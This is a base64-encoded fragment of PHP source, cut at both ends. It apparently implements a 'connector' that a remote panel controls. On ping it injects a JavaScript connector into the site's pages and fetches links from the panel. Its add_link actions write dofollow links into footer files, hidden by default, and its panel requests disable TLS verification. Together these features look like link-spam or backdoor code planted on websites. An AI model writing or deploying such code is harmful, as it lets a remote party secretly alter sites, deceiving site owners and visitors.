BiaXIgb3pldGkgZWtsZW5pcjsgYm95bGVjZSAiR2VjZXJzaXogeWFuaXQiaW4KICoga2F5bmFnaSAob3JuLiBDbG91ZGZsYXJlIDUyMCkgcGluZyBjZXZhYmluZGFuIGRvZ3J1ZGFuIG9rdW5hYmlsaXIuCiAqLwpmdW5jdGlvbiBwYW5lbF9odHRwX3Bvc3QoJHVybCwgJGpzb24pIHsKICAgICRyZXNwb25zZSA9IGZhbHNlOwogICAgJGhlYWRlcnMgPSBbXTsKCiAgICBpZiAoaW5pX2dldCgnYWxsb3dfdXJsX2ZvcGVuJykpIHsKICAgICAgICAkY29udGV4dCA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZShbCiAgICAgICAgICAgICdodHRwJyA9PiBbCiAgICAgICAgICAgICAgICAnbWV0aG9kJyA9PiAnUE9TVCcsCiAgICAgICAgICAgICAgICAnaGVhZGVyJyA9PiBbCiAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbicsCiAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtTGVuZ3RoOiAnIC4gc3RybGVuKCRqc29uKSwKICAgICAgICAgICAgICAgICAgICAnVXNlci1BZ2VudDogJyAuIFJTX1VTRVJfQUdFTlQsCiAgICAgICAgICAgICAgICAgICAgJ0Nvbm5lY3Rpb246IGNsb3NlJwogICAgICAgICAgICAgICAgXSwKICAgICAgICAgICAgICAgICdjb250ZW50JyA9PiAkanNvbiwKICAgICAgICAgICAgICAgICd0aW1lb3V0JyA9PiAxMCwKICAgICAgICAgICAgICAgICdpZ25vcmVfZXJyb3JzJyA9PiB0cnVlCiAgICAgICAgICAgIF0sCiAgICAgICAgICAgICdzc2wnID0+IFsndmVyaWZ5X3BlZXInID0+IGZhbHNlLCAndmVyaWZ5X3BlZXJfbmFtZScgPT4gZmFsc2VdCiAgICAgICAgXSk7CiAgICAgICAgJHJlc3BvbnNlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwsIGZhbHNlLCAkY29udGV4dCk7CiAgICAgICAgaWYgKGlzc2V0KCRodHRwX3Jlc3BvbnNlX2hlYWRlcikgJiYgaXNfYXJyYXkoJGh0dHBfcmVzcG9uc2VfaGVhZGVyKSkgewogICAgICAgICAgICAkaGVhZGVycyA9ICRodHRwX3Jlc3BvbnNlX2hlYWRlcjsKICAgICAgICB9CiAgICB9CgogICAgLy8gYWxsb3dfdXJsX2ZvcGVuIGthcGFsaXlzYSB5YSBkYSBiYWdsYW50aSBrdXJ1bGFtYWRpeXNhIGNVUkwgaWxlIGJpciBrZXogZGFoYSBkZW5lLgogICAgaWYgKCRyZXNwb25zZSA9PT0gZmFsc2UgJiYgZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2luaXQnKSkgewogICAgICAgICRjaCA9IGN1cmxfaW5pdCgkdXJsKTsKICAgICAgICBjdXJsX3NldG9wdF9hcnJheSgkY2gsIFsKICAgICAgICAgICAgQ1VSTE9QVF9QT1NUID0+IHRydWUsCiAgICAgICAgICAgIENVUkxPUFRfUE9TVEZJRUxEUyA9PiAkanNvbiwKICAgICAgICAgICAgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiB0cnVlLAogICAgICAgICAgICBDVVJMT1BUX0hFQURFUiA9PiB0cnVlLAogICAgICAgICAgICBDVVJMT1BUX1RJTUVPVVQgPT4gMTAsCiAgICAgICAgICAgIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQgPT4gNiwKICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiA9PiBmYWxzZSwKICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCA9PiAwLAogICAgICAgICAgICBDVVJMT1BUX1VTRVJBR0VOVCA9PiBSU19VU0VSX0FHRU5ULAogICAgICAgICAgICBDVVJMT1BUX0hUVFBIRUFERVIgPT4gWydDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nXQogICAgICAgIF0pOwogICAgICAgICRyYXcgPSBjdXJsX2V4ZWMoJGNoKTsKICAgICAgICAkaHNpemUgPSAoaW50KWN1cmxfZ2V0aW5mbygkY2gsIENVUkxJTkZPX0hFQURFUl9TSVpFKTsKICAgICAgICAkY3VybF9lcnJvciA9IGN1cmxfZXJyb3IoJGNoKTsKICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7CiAgICAgICAgaWYgKCRyYXcgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICRyZXNwb25zZSA9IChzdHJpbmcpc3Vic3RyKCRyYXcsICRoc2l6ZSk7CiAgICAgICAgICAgICRoZWFkZXJzID0gcHJlZ19zcGxpdCgnL1xyP1xuLycsIHRyaW0oKHN0cmluZylzdWJzdHIoJHJhdywgMCwgJGhzaXplKSkpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHJldHVybiBbWydzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnQmFnbGFudGkgaGF0YXNpJywgJ2RldGFpbCcgPT4gJGN1cmxfZXJyb3JdLCBmYWxzZV07CiAgICAgICAgfQogICAgfQoKICAgIGlmICgkcmVzcG9uc2UgPT09IGZhbHNlKSB7CiAgICAgICAgcmV0dXJuIFtbJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICdCYWdsYW50aSBoYXRhc2knXSwgZmFsc2VdOwogICAgfQoKICAgICRodHRwX2NvZGUgPSAwOwogICAgJHNlcnZlciA9ICcnOwogICAgZm9yZWFjaCAoJGhlYWRlcnMgYXMgJGgpIHsKICAgICAgICBpZiAocHJlZ19tYXRjaCgnI15IVFRQL1xTK1xzKyhcZHszfSkjaScsICRoLCAkbSkpIHsKICAgICAgICAgICAgJGh0dHBfY29kZSA9IChpbnQpJG1bMV07CiAgICAgICAgfSBlbHNlaWYgKHN0cmlwb3MoJGgsICdzZXJ2ZXI6JykgPT09IDApIHsKICAgICAgICAgICAgJHNlcnZlciA9IHRyaW0oc3Vic3RyKCRoLCA3KSk7CiAgICAgICAgfQogICAgfQoKICAgICRyZXN1bHQgPSBqc29uX2RlY29kZSgkcmVzcG9uc2UsIHRydWUpOwogICAgaWYgKGlzX2FycmF5KCRyZXN1bHQpICYmICFlbXB0eSgkcmVzdWx0KSkgewogICAgICAgICRyZXN1bHRbJ2h0dHBfY29kZSddID0gJGh0dHBfY29kZTsKICAgICAgICByZXR1cm4gWyRyZXN1bHQsIHRydWVdOwogICAgfQoKICAgICRzbmlwcGV0ID0gdHJpbShwcmVnX3JlcGxhY2UoJy9ccysvJywgJyAnLCBzdHJpcF90YWdzKChzdHJpbmcpJHJlc3BvbnNlKSkpOwogICAgcmV0dXJuIFtbCiAgICAgICAgJ3N1Y2Nlc3MnID0+IGZhbHNlLAogICAgICAgICdlcnJvcicgPT4gJ0dlY2Vyc2l6IHlhbml0JywKICAgICAgICAnaHR0cF9jb2RlJyA9PiAkaHR0cF9jb2RlLAogICAgICAgICdzZXJ2ZXInID0+ICRzZXJ2ZXIsCiAgICAgICAgJ2xlbmd0aCcgPT4gc3RybGVuKChzdHJpbmcpJHJlc3BvbnNlKSwKICAgICAgICAnc25pcHBldCcgPT4gZnVuY3Rpb25fZXhpc3RzKCdtYl9zdWJzdHInKSA/IG1iX3N1YnN0cigkc25pcHBldCwgMCwgMTYwKSA6IHN1YnN0cigkc25pcHBldCwgMCwgMTYwKQogICAgXSwgZmFsc2VdOwp9CgpmdW5jdGlvbiBzZW5kX3RvX3BhbmVsKCR1cmwsICRkYXRhKSB7CiAgICAkanNvbiA9IGpzb25fZW5jb2RlKCRkYXRhLCBKU09OX1VORVNDQVBFRF9VTklDT0RFKTsKCiAgICAvLyBCaXJpbmNpbCB5b2w7IHJld3JpdGUvQ0ROIHNvcnVubGFyaW5hIGthcnNpIGlraW5jaSB5b2w6IC9hcGkvaW5kZXgucGhwP2JwX3BhdGg9Li4uCiAgICAkdXJscyA9IFskdXJsXTsKICAgIGlmIChwcmVnX21hdGNoKCcjXiguKikvYXBpLyhjb25uZWN0b3IvW2Etel8vXSspJCMnLCAkdXJsLCAkbSkpIHsKICAgICAgICAkdXJsc1tdID0gJG1bMV0gLiAnL2FwaS9pbmRleC5waHA/YnBfcGF0aD0nIC4gJG1bMl07CiAgICB9CgogICAgJGxhc3QgPSBbJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICdCYWdsYW50aSBoYXRhc2knXTsKICAgIGZvcmVhY2ggKCR1cmxzIGFzICR1KSB7CiAgICAgICAgLy8gNXh4L0NETiBoYXRhbGFyaSBnZWNpY2kgb2xhYmlsaXI6IGF5bmkgeW9sYSBiaXIga2V6IGRhaGEgZGVuZS4KICAgICAgICBmb3IgKCRhdHRlbXB0ID0gMDsgJGF0dGVtcHQgPCAyOyAkYXR0ZW1wdCsrKSB7CiAgICAgICAgICAgIGxpc3QoJHJlc3VsdCwgJGlzX2pzb24pID0gcGFuZWxfaHR0cF9wb3N0KCR1LCAkanNvbik7CiAgICAgICAgICAgICRsYXN0ID0gJHJlc3VsdDsKICAgICAgICAgICAgaWYgKCRpc19qc29uKSB7CiAgICAgICAgICAgICAgICAvLyBQYW5lbGRlbiBnZWxlbiBKU09OIGNldmFwIChiYXNhcmkgeWEgZGEgNDAzIHJlZGRpKSBrZXNpbiBzb251Y3R1ci4KICAgICAgICAgICAgICAgIHJldHVybiAkcmVzdWx0OwogICAgICAgICAgICB9CiAgICAgICAgICAgIHVzbGVlcCgyNTAwMDApOwogICAgICAgIH0KICAgIH0KICAgIHJldHVybiAkbGFzdDsKfQoKLy8gPT09PT09PT09PT09PT09PT09PT0gQU5BIMSwxZ5MRU0gPT09PT09PT09PT09PT09PT09PT0KCm9iX3N0YXJ0KCk7CgokcmF3X2FjdGlvbiA9ICRfR0VUWydhY3Rpb24nXSA/PyAkX1BPU1RbJ2FjdGlvbiddID8/ICdwaW5nJzsKJGFjdGlvbiA9IG5vcm1hbGl6ZV9hY3Rpb25fbmFtZSgkcmF3X2FjdGlvbik7CiRyZXEgPSBnZXRfcmVxdWVzdF9kYXRhKCk7CgovLyBLb3J1bWFsxLEgYWN0aW9uJ2xhcgokcHJvdGVjdGVkX2FjdGlvbnMgPSBbJ2FkZF9saW5rJywgJ2J1bGtfYWRkX2xpbmtzJywgJ3JlbW92ZV9saW5rJywgJ3N5bmNfbGlua3MnLCAnZ2V0X2xpbmtzJywgJ2luZm8nLCAnc2V0X291dHB1dF9tb2RlJywgJ3VwZGF0ZV9wYW5lbF91cmwnLCAnaW5qZWN0X2pzX2Nvbm5lY3RvcicsICdyZW1vdmVfanNfY29ubmVjdG9yJ107CgppZiAoaW5fYXJyYXkoJGFjdGlvbiwgJHByb3RlY3RlZF9hY3Rpb25zKSkgewogICAgaWYgKCFhdXRoZW50aWNhdGVfcmVxdWVzdCgkcmVxKSkgewogICAgICAgIHJlc3BvbmRfYXV0aF9mYWlsKCk7CiAgICB9Cn0KCnN3aXRjaCAoJGFjdGlvbikgewogICAgY2FzZSAncGluZyc6CiAgICAgICAgJGF1dG9fcmVzdWx0ID0gYXV0b19jb25uZWN0KCFlbXB0eSgkcmVxWydyZWNvbm5lY3QnXSkgfHwgIWVtcHR5KCRfR0VUWydyZWNvbm5lY3QnXSkpOwogICAgICAgIGNsZWFudXBfYnJva2VuX2pzX2luamVjdGlvbnMoKTsKICAgICAgICAkanNfaW5qZWN0X3Jlc3VsdCA9IGluamVjdF9qc19jb25uZWN0b3IoKTsKICAgICAgICAkcHVsbF9yZXN1bHQgPSBmZXRjaF9yZW1vdGVfbGlua3ModHJ1ZSk7CiAgICAgICAgJHNpdGVfaW5mbyA9IGRldGVjdF9zaXRlX2luZm8oKTsKICAgICAgICBpZiAoIWVtcHR5KCRqc19pbmplY3RfcmVzdWx0WydpbmplY3RlZCddKSkgY2xlYXJfc2l0ZV9jYWNoZXMoZmluZF9kb2N1bWVudF9yb290KCksICRzaXRlX2luZm9bJ3NpdGVfdHlwZSddKTsKICAgICAgICAkZGF0YSA9IFsKICAgICAgICAgICAgJ3NpdGUnID0+ICRzaXRlX2luZm9bJ3NpdGUnXSwKICAgICAgICAgICAgJ3NpdGVfbmFtZScgPT4gJHNpdGVfaW5mb1snc2l0ZV9uYW1lJ10sCiAgICAgICAgICAgICdzaXRlX3R5cGUnID0+ICRzaXRlX2luZm9bJ3NpdGVfdHlwZSddLAogICAgICAgICAgICAnbGFuZ3VhZ2UnID0+ICRzaXRlX2luZm9bJ2xhbmd1YWdlJ10sCiAgICAgICAgICAgICdjb3VudHJ5JyA9PiAkc2l0ZV9pbmZvWydjb3VudHJ5J10sCiAgICAgICAgICAgICdmb290ZXJfZGV0ZWN0ZWQnID0+ICRzaXRlX2luZm9bJ2Zvb3Rlcl9kZXRlY3RlZCddLAogICAgICAgICAgICAnZm9vdGVyX3dyaXRhYmxlJyA9PiAkc2l0ZV9pbmZvWydmb290ZXJfd3JpdGFibGUnXSwKICAgICAgICAgICAgJ3ZlcnNpb24nID0+IFJTX0NPTk5FQ1RPUl9WRVJTSU9OLAogICAgICAgICAgICAna2V5X3JlZ2lzdGVyZWQnID0+ICFlbXB0eShnZXRfc3RvcmVkX2tleSgpKSwKICAgICAgICAgICAgJ2Nvbm5lY3Rvcl9yZWFkeScgPT4gdHJ1ZSwKICAgICAgICAgICAgJ2F1dG9fY29ubmVjdCcgPT4gJGF1dG9fcmVzdWx0LAogICAgICAgICAgICAnanNfY29ubmVjdG9yJyA9PiAkanNfaW5qZWN0X3Jlc3VsdCwKICAgICAgICAgICAgJ2xpbmtzX3B1bGxlZCcgPT4gJHB1bGxfcmVzdWx0CiAgICAgICAgXTsKICAgICAgICByZXNwb25kKHRydWUsICRkYXRhLCAnQ29ubmVjdG9yIGFrdGlmJyk7CiAgICAgICAgYnJlYWs7CgogICAgY2FzZSAncmVnaXN0ZXInOgogICAgICAgICRuZXdfa2V5ID0gdHJpbSgoc3RyaW5nKSgkcmVxWydzaXRlX2tleSddID8/ICcnKSk7CiAgICAgICAgJHNldHVwX3Rva2VuID0gJHJlcVsnc2V0dXBfdG9rZW4nXSA/PyAnJzsKICAgICAgICAkc3RvcmVkX2tleSA9IGdldF9zdG9yZWRfa2V5KCk7CgogICAgICAgIGlmIChlbXB0eSgkbmV3X2tleSkpIHsKICAgICAgICAgICAgcmVzcG9uZChmYWxzZSwgW10sICdzaXRlX2tleSBnZXJla2xpJyk7CiAgICAgICAgfQoKICAgICAgICAvLyDEsGxrIGthecSxdCAoa2V5IGRvc3lhc8SxIHlvayk6IHNldHVwIHRva2VuIHpvcnVubHUKICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKEtFWV9GSUxFKSB8fCBlbXB0eSh0cmltKEBmaWxlX2dldF9jb250ZW50cyhLRVlfRklMRSkgPzogJycpKSkgewogICAgICAgICAgICAkZXhwZWN0ZWRfdG9rZW4gPSBkZWZpbmVkKCdTRVRVUF9UT0tFTicpID8gU0VUVVBfVE9LRU4gOiAnJzsKICAgICAgICAgICAgaWYgKGVtcHR5KCRleHBlY3RlZF90b2tlbikgfHwgc3RycG9zKCRleHBlY3RlZF90b2tlbiwgJ3t7JykgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICBpZiAoIWF1dGhlbnRpY2F0ZV9yZXF1ZXN0KCRyZXEpKSB7CiAgICAgICAgICAgICAgICAgICAgcmVzcG9uZChmYWxzZSwgW10sICdTZXR1cCB0b2tlbiB0YW5pbWxpIGRlZ2lsOyBrYXlpdCBpY2luIHVuaXZlcnNhbCBrZXkgdmV5YSBITUFDIGltemFzaSBnZXJla2xpJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZWlmIChlbXB0eSgkc2V0dXBfdG9rZW4pIHx8ICFoYXNoX2VxdWFscygoc3RyaW5nKSRleHBlY3RlZF90b2tlbiwgKHN0cmluZykkc2V0dXBfdG9rZW4pKSB7CiAgICAgICAgICAgICAgICAvLyBTZXR1cCB0b2tlbiBlxZ9sZcWfbWVkaSBhbWEgSE1BQyB2ZXlhIHVuaXZlcnNhbCBrZXkgaWxlIGF1dGggZGVuZQogICAgICAgICAgICAgICAgaWYgKCFhdXRoZW50aWNhdGVfcmVxdWVzdCgkcmVxKSkgewogICAgICAgICAgICAgICAgICAgIHJlc3BvbmQoZmFsc2UsIFtdLCAnR2VjZXJzaXogc2V0dXAgdG9rZW4nKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIC8vIE1ldmN1dCBrZXkgdmFyOiBhdXRoIGdlcmVrbGkKICAgICAgICAgICAgaWYgKCFhdXRoZW50aWNhdGVfcmVxdWVzdCgkcmVxKSkgewogICAgICAgICAgICAgICAgcmVzcG9uZF9hdXRoX2ZhaWwoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgc2F2ZV9rZXkoJG5ld19rZXkpOwogICAgICAgICRqc19yZXN1bHQgPSBpbmplY3RfanNfY29ubmVjdG9yKCk7CiAgICAgICAgZmV0Y2hfcmVtb3RlX2xpbmtzKHRydWUpOwogICAgICAgICRzaXRlX2luZm8gPSBkZXRlY3Rfc2l0ZV9pbmZvKCk7CiAgICAgICAgcmVzcG9uZCh0cnVlLCBbCiAgICAgICAgICAgICdyZWdpc3RlcmVkJyA9PiB0cnVlLAogICAgICAgICAgICAnc2l0ZV9rZXknID0+ICRuZXdfa2V5LAogICAgICAgICAgICAnc2l0ZV9pbmZvJyA9PiAkc2l0ZV9pbmZvLAogICAgICAgICAgICAnanNfY29ubmVjdG9yJyA9PiAkanNfcmVzdWx0CiAgICAgICAgXSwgJ1NpdGUgYW5haHRhcmkga2F5ZGVkaWxkaScpOwogICAgICAgIGJyZWFrOwoKICAgIGNhc2UgJ2dldF9rZXknOgogICAgICAgICRzZXR1cF90b2tlbiA9ICRyZXFbJ3NldHVwX3Rva2VuJ10gPz8gJF9HRVRbJ3NldHVwX3Rva2VuJ10gPz8gJyc7CiAgICAgICAgJGV4cGVjdGVkX3Rva2VuID0gZGVmaW5lZCgnU0VUVVBfVE9LRU4nKSA/IFNFVFVQX1RPS0VOIDogJyc7CgogICAgICAgIC8vIFNldHVwIHRva2VuIGtvbnRyb2zDvAogICAgICAgIGlmICghZW1wdHkoJGV4cGVjdGVkX3Rva2VuKSAmJiBzdHJwb3MoJGV4cGVjdGVkX3Rva2VuLCAne3snKSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgaWYgKGVtcHR5KCRzZXR1cF90b2tlbikgfHwgJHNldHVwX3Rva2VuICE9PSAkZXhwZWN0ZWRfdG9rZW4pIHsKICAgICAgICAgICAgICAgIC8vIFNldHVwIHRva2VuIHlhbmzEscWfIC0gSE1BQyB2ZXlhIGtleSBhdXRoIGRhIGRlbmUKICAgICAgICAgICAgICAgIGlmICghYXV0aGVudGljYXRlX3JlcXVlc3QoJHJlcSkpIHsKICAgICAgICAgICAgICAgICAgICByZXNwb25kKGZhbHNlLCBbXSwgJ0dlY2Vyc2l6IHNldHVwIHRva2VuJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIC8vIE1ldmN1dCBrZXknaSBhbCB2ZXlhIHllbmkgb2x1xZ90dXIKICAgICAgICAkY3VycmVudF9rZXkgPSAnJzsKICAgICAgICBpZiAoZmlsZV9leGlzdHMoS0VZX0ZJTEUpKSB7CiAgICAgICAgICAgICRjdXJyZW50X2tleSA9IHRyaW0oQGZpbGVfZ2V0X2NvbnRlbnRzKEtFWV9GSUxFKSA/OiAnJyk7CiAgICAgICAgfQogICAgICAgIGlmIChlbXB0eSgkY3VycmVudF9rZXkpKSB7CiAgICAgICAgICAgIC8vIElNUE9SVEFOVDogRGVmYXVsdCB0byBhIHN0YWJsZSwgREItZnJpZW5kbHkga2V5ICh2YXJjaGFyKDEyKSBjb21wYXRpYmxlKSwKICAgICAgICAgICAgLy8gaW5zdGVhZCBvZiBnZW5lcmF0aW5nIGEgbG9uZyByYW5kb20ga2V5IHRoYXQgbWF5IG5vdCBmaXQgcGFuZWwgREIgc2NoZW1hcy4KICAgICAgICAgICAgJGN1cnJlbnRfa2V5ID0gZ2VuZXJhdGVfc2l0ZV9zdGF0aWNfa2V5KCk7CiAgICAgICAgICAgIHNhdmVfa2V5KCRjdXJyZW50X2tleSk7CiAgICAgICAgfQoKICAgICAgICAkc2l0ZV9pbmZvID0gZGV0ZWN0X3NpdGVfaW5mbygpOwogICAgICAgIHJlc3BvbmQodHJ1ZSwgWwogICAgICAgICAgICAnc2l0ZV9rZXknID0+ICRjdXJyZW50X2tleSwKICAgICAgICAgICAgJ2tleV90eXBlJyA9PiAnc3RvcmVkX29yX2RvbWFpbl9zdGF0aWMnLAogICAgICAgICAgICAnbmFtZScgPT4gJHNpdGVfaW5mb1snc2l0ZV9uYW1lJ10gPz8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddLAogICAgICAgICAgICAnc2l0ZV90eXBlJyA9PiAkc2l0ZV9pbmZvWydzaXRlX3R5cGUnXSA/PyAncGhwJywKICAgICAgICAgICAgJ2xhbmd1YWdlJyA9PiAkc2l0ZV9pbmZvWydsYW5ndWFnZSddID8/ICdUUicsCiAgICAgICAgICAgICdjb3VudHJ5JyA9PiAkc2l0ZV9pbmZvWydjb3VudHJ5J10gPz8gJ1RSJwogICAgICAgIF0sICdTaXRlIGFuYWh0YXJpIGFsaW5kaScpOwogICAgICAgIGJyZWFrOwoKICAgIGNhc2UgJ2luZm8nOgogICAgICAgICRzaXRlX2luZm8gPSBkZXRlY3Rfc2l0ZV9pbmZvKCk7CiAgICAgICAgcmVzcG9uZCh0cnVlLCAkc2l0ZV9pbmZvLCAnU2l0ZSBiaWxnaXNpJyk7CiAgICAgICAgYnJlYWs7CgogICAgY2FzZSAnc2V0X291dHB1dF9tb2RlJzoKICAgICAgICAkbW9kZSA9IHN0cnRvbG93ZXIodHJpbSgoc3RyaW5nKSgkcmVxWydtb2RlJ10gPz8gJHJlcVsnbGlua19vdXRwdXRfbW9kZSddID8/ICdoaWRkZW4nKSkpOwogICAgICAgICRtb2RlID0gKCRtb2RlID09PSAndmlzaWJsZScpID8gJ3Zpc2libGUnIDogJ2hpZGRlbic7CiAgICAgICAgJGNvbmZpZyA9IGdldF9jb25maWcoKTsKICAgICAgICAkY29uZmlnWydsaW5rX291dHB1dF9tb2RlJ10gPSAkbW9kZTsKICAgICAgICAkY29uZmlnWyd1cGRhdGVkX2F0J10gPSB0aW1lKCk7CiAgICAgICAgc2F2ZV9jb25maWcoJGNvbmZpZyk7CiAgICAgICAgcmVzcG9uZCh0cnVlLCBbJ2xpbmtfb3V0cHV0X21vZGUnID0+ICRtb2RlXSwgJ091dHB1dCBtb2RlIGd1bmNlbGxlbmRpJyk7CiAgICAgICAgYnJlYWs7CgogICAgY2FzZSAnZ2V0X2xpbmtzJzoKICAgICAgICBpZiAoIWF1dGhlbnRpY2F0ZV9yZXF1ZXN0KCRyZXEpKSByZXNwb25kX2F1dGhfZmFpbCgpOwogICAgICAgICRsaW5rcyA9IGdldF9saW5rcygpOwogICAgICAgIHJlc3BvbmQodHJ1ZSwgWydsaW5rcycgPT4gYXJyYXlfdmFsdWVzKCRsaW5rcyksICd0b3RhbCcgPT4gY291bnQoJGxpbmtzKV0sICdMaW5rbGVyJyk7CiAgICAgICAgYnJlYWs7CgogICAgY2FzZSAnYWRkX2xpbmsnOgogICAgICAgIGlmICghYXV0aGVudGljYXRlX3JlcXVlc3QoJHJlcSkpIHJlc3BvbmRfYXV0aF9mYWlsKCk7CiAgICAgICAgJHVybCA9IHRyaW0oKHN0cmluZykoJHJlcVsndXJsJ10gPz8gJycpKTsKICAgICAgICAkYW5jaG9yID0gdHJpbSgoc3RyaW5nKSgkcmVxWydhbmNob3InXSA/PyAnJykpOwogICAgICAgICRyZWwgPSBub3JtYWxpemVfcmVsKCRyZXFbJ3JlbCddID8/ICdkb2ZvbGxvdycpOwoKICAgICAgICBpZiAoZW1wdHkoJHVybCkgfHwgZW1wdHkoJGFuY2hvcikpIHsKICAgICAgICAgICAgcmVzcG9uZChmYWxzZSwgW10sICdVUkwgdmUgYW5jaG9yIGdlcmVrbGknKTsKICAgICAgICB9CgogICAgICAgICRsaW5rX2lkID0gJ2xua18nIC4gc3Vic3RyKG1kNSh1bmlxaWQobXRfcmFuZCgpLCB0cnVlKSksIDAsIDEyKTsKICAgICAgICAkbGlua3MgPSBnZXRfbGlua3MoKTsKICAgICAgICAkbGlua3NbJGxpbmtfaWRdID0gWwogICAgICAgICAgICAnaWQnID0+ICRsaW5rX2lkLAogICAgICAgICAgICAndXJsJyA9PiAkdXJsLAogICAgICAgICAgICAnYW5jaG9yJyA9PiAkYW5jaG9yLAogICAgICAgICAgICAncmVsJyA9PiAkcmVsLAogICAgICAgICAgICAnY3JlYXRlZCcgPT4gdGltZSgpCiAgICAgICAgXTsKICAgICAgICBzYXZlX2xpbmtzKCRsaW5rcyk7CgogICAgICAgICRyZXN1bHQgPSBpbmplY3RfbGluaygkdXJsLCAkYW5jaG9yLCAkbGlua19pZCwgJHJlbCk7CiAgICAgICAgJGluamVjdGVkID0gKCFlbXB0eSgkcmVzdWx0WydzdWNjZXNzJ10pICYmICFlbXB0eSgkcmVzdWx0WydpbmplY3RlZCddKSk7CiAgICAgICAgaWYgKCEkaW5qZWN0ZWQpIHsKICAgICAgICAgICAgdW5zZXQoJGxpbmtzWyRsaW5rX2lkXSk7CiAgICAgICAgICAgIHNhdmVfbGlua3MoJGxpbmtzKTsKICAgICAgICAgICAgcmVzcG9uZChmYWxzZSwgWwogICAgICAgICAgICAgICAgJ2xpbmtfaWQnID0+ICRsaW5rX2lkLAogICAgICAgICAgICAgICAgJ2luamVjdGVkJyA9PiBmYWxzZSwKICAgICAgICAgICAgICAgICdmb290ZXJfcGF0aCcgPT4gJHJlc3VsdFsnZm9vdGVyX3BhdGgnXSA/PyBudWxsLAogICAgICAgICAgICAgICAgJ21lc3NhZ2UnID0+ICRyZXN1bHRbJ21lc3NhZ2UnXSA/PyAnJwogICAgICAgICAgICBdLCAkcmVzdWx0WydtZXNzYWdlJ10gPz8gJ0xpbmsgZW5qZWt0ZSBlZGlsZW1lZGknKTsKICAgICAgICB9CgogICAgICAgICRqc19yZXN1bHQgPSBpbmplY3RfanNfY29ubmVjdG9yKCk7CiAgICAgICAgJHNpdGVfdHlwZV9ub3cgPSBkZXRlY3Rfc2l0ZV9pbmZvKClbJ3NpdGVfdHlwZSddOwogICAgICAgICRjbGVhcmVkID0gY2xlYXJfc2l0ZV9jYWNoZXMoZmluZF9kb2N1bWVudF9yb290KCksICRzaXRlX3R5cGVfbm93KTsKICAgICAgICAvLyBpbmplY3RfbGluaygpIHphdGVuIGJpciBzZWxmLUhUVFAgZG9ncnVsYW1hc2kgeWFwdGl5c2EgKGF1dG9fcHJlcGVuZCB5b2x1KSBzb251Y3UKICAgICAgICAvLyB0ZWtyYXIga3VsbGFuOyBib3lsZWNlIGF5bmkgaXN0ZWt0ZSBpa2luY2kgYmlyIHNlbGYtcmVxdWVzdCAodmUgb2xhc2kgZ2VjaWttZSkgb2x1c21hei4KICAgICAgICAkdmVyaWZpZWQgPSBhcnJheV9rZXlfZXhpc3RzKCdob21lcGFnZV92ZXJpZmllZCcsICRyZXN1bHQpCiAgICAgICAgICAgID8gJHJlc3VsdFsnaG9tZXBhZ2VfdmVyaWZpZWQnXQogICAgICAgICAgICA6IHZlcmlmeV9ob21lcGFnZV9jb250YWlucygnPCEtLSByczonIC4gc3Vic3RyKCRsaW5rX2lkLCA0LCA2KSAuICcgLS0+Jyk7CiAgICAgICAgJG1zZyA9IChzdHJpbmcpKCRyZXN1bHRbJ21lc3NhZ2UnXSA/PyAnTGluayBla2xlbmRpJyk7CiAgICAgICAgaWYgKCR2ZXJpZmllZCA9PT0gdHJ1ZSkgJG1zZyAuPSAnIMK3IGFuYXNheWZhZGEgZG9ncnVsYW5kaSc7CiAgICAgICAgZWxzZWlmICgkdmVyaWZpZWQgPT09IGZhbHNlKSAkbXNnIC49ICcgwrcgYW5hc2F5ZmFkYSBoZW51eiBnb3J1bm11eW9yIChvbmJlbGxlay9DRE4/KSc7CiAgICAgICAgcmVzcG9uZCh0cnVlLCBbCiAgICAgICAgICAgICdsaW5rX2lkJyA9PiAkbGlua19pZCwKICAgICAgICAgICAgJ2luamVjdGVkJyA9PiB0cnVlLAogICAgICAgICAgICAnZm9vdGVyX3BhdGgnID0+ICRyZXN1bHRbJ2Zvb3Rlcl9wYXRoJ10gPz8gbnVsbCwKICAgICAgICAgICAgJ2ZpbGVzJyA9PiAkcmVzdWx0WydmaWxlcyddID8/IDEsCiAgICAgICAgICAgICdkZXRhaWxzJyA9PiAkcmVzdWx0WydkZXRhaWxzJ10gPz8gW10sCiAgICAgICAgICAgICdob21lcGFnZV92ZXJpZmllZCcgPT4gJHZlcmlmaWVkLAogICAgICAgICAgICAnY2FjaGVfY2xlYXJlZCcgPT4gJGNsZWFyZWQsCiAgICAgICAgICAgICdtZXNzYWdlJyA9PiAkbXNnLAogICAgICAgICAgICAnanNfY29ubmVjdG9yJyA9PiAkanNfcmVzdWx0CiAgICAgICAgXSwgJG1zZyk7CiAgICAgICAgYnJlYWs7CgogICAgY2FzZSAnYnVsa19hZGRfbGlua3MnOgogICAgICAgIGlmICghYXV0aGVudGljYXRlX3JlcXVlc3QoJHJlcSkpIHJlc3BvbmRfYXV0aF9mYWlsKCk7CiAgICAgICAgJGluY29taW5nX2xpbmtzID0gJHJlcVsnbGlua3MnXSA/PyBbXTsKICAgI